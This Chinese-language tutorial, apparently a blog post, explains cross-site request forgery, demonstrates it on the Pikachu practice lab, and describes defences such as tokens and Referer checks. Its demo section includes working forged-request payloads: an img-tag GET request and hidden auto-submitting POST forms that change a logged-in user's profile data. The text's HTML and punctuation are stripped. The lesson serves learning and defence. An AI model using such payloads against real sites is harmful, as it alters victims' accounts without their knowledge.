
CSRF漏洞原理、攻击及防御什么是CSRFCSRF (Cross-site request forgery中文名称跨站请求伪造。利用CSRF攻击者可以盗用你的身份以你的名义发送恶意请求。 随时可能被攻击者利用窃取用户权限、篡改数据甚至造成财产损失。CSRF攻击原理1、正常用户登录A网站A网站会给用户发身份验证信息如cookie但是用户访问完A网站后没有退出所以身份验证信息还会在浏览器的缓存中2、hack可以在含有CSRF的B网站中写入请求伪造代码在用户访问到B网站时向A网站发起恶意请求3、用户访问B网站触发恶意代码的执行向A网站发恶意请求4、因为用户已经有A网站的身份验证信息了所以不用再次登录可以直接发送请求恶意请求从而实现权限修改、篡改数据、购买商品和转账等等简单来说用户登录了A网站A网站给用户返回了身份验证信息然后用户没有退出就去访问了B网站并触发了请求伪造代码用户向A网站发送了恶意请求。CSRF攻击必须同时满足两个条件登录受信任网站A并在本地生成身份验证信息。在不登出A的情况下访问写入恶意请求代码的网站B。CSRF的类型及演示GET型CSRF就是通过GET请求来发送恶意请求的CSRF下面用pikachu靶场来演示一下我们通过账号密码vince:123456登录进去可以看到修改个人信息的位置点击进去我们先修改一下手机号码看一下网络请求可以看到是通过GET发送修改电话请求我们修改一下URL的参数值/vul/csrf/csrfget/csrf_get_edit.php?sexboyphonenum111addchainemailvince%40pikachu.comsubmitsubmit将下面代码提交到靶场XSS中来模拟hack写入网站B的请求伪造代码imgsrchttp://127.0.0.1:81/vul/csrf/csrfget/csrf_get_edit.php?sexboyphonenum111addchainemailvince%40pikachu.comsubmitsubmit提交后刷新页面看一下请求记录回到CSRF页面看一下信息有没有被修改成功修改POST型CSRF和GET型不一样的点就是数据是在请求体中直接开始演示吧可以看到是通过POST发送修改电话请求我们修改一下请求体中参数值sexboyphonenum222addchainemailvince%40pikachu.comsubmitsubmit将下面代码提交到靶场XSS中来模拟hack写入网站B的请求伪造代码formidfactionhttp://127.0.0.1:81methodpostinputtypehiddennamesexvalueboyinputtypehiddennamephonenumvalue222inputtypehiddennameaddvaluechaininputtypehiddennameemailvaluevincepikachu.cominputtypehiddennamesubmitvaluesubmit/formscriptf.submit()/script提交后刷新页面看一下请求记录这里长度超过了我就不用这个靶场了我写了一个页面来演示复现记得改一下url!doctypehtmliframenamehiddenFramestyledisplay:none/iframeformidfactionhttp://127.0.0.1:81/vul/csrf/csrfpost/csrf_post_edit.phpmethodposttargethiddenFrameinputtypehiddennamesexvalueboyinputtypehiddennamephonenumvalue222inputtypehiddennameaddvaluechaininputtypehiddennameemailvaluevincepikachu.cominputtypehiddennamesubmitvaluesubmit/formscriptHTMLFormElement.prototype.submit.call(document.getElementById(f));/script我们访问一下这个页面看一下请求发送成功看一下电话号码有没有改成功修改CSRF防御使用验证码用户每次提交数据时都需要在表单中填写验证码验证码要随机生成通常情况下验证码就已经可以很好的阻止CSRF攻击了但并不是万能的如验证码生成逻辑被破解所以目前验证码只能是防御CSRF的一种辅助手段不是主要解决方案。使用referer在请求头中添加一个Referer判断请求的来源地址是否在白名单中如果是则可以认为该请求是合法的否则就拒绝用户请求。使用Token可以在请求中添加一个参数加入一个随机产生的Token并在服务端进行token校验如果请求中没有Token或者Token内容不正确则认为是CSRF攻击而拒绝该请求。这也是防御CSRF攻击的主要手段。这里要注意Token要通过HTTPS来传输避免窃取每一个Token在一个时间段中只能对应一个用户不能多用户同一时间共用一个TokenToken要设置过期时间过期后重新生成降低 Token 被复用的风险总结CSRF 就是攻击者利用浏览器自动携带 Cookie 的机制让已登录用户在不知情的情况下替攻击者完成操作。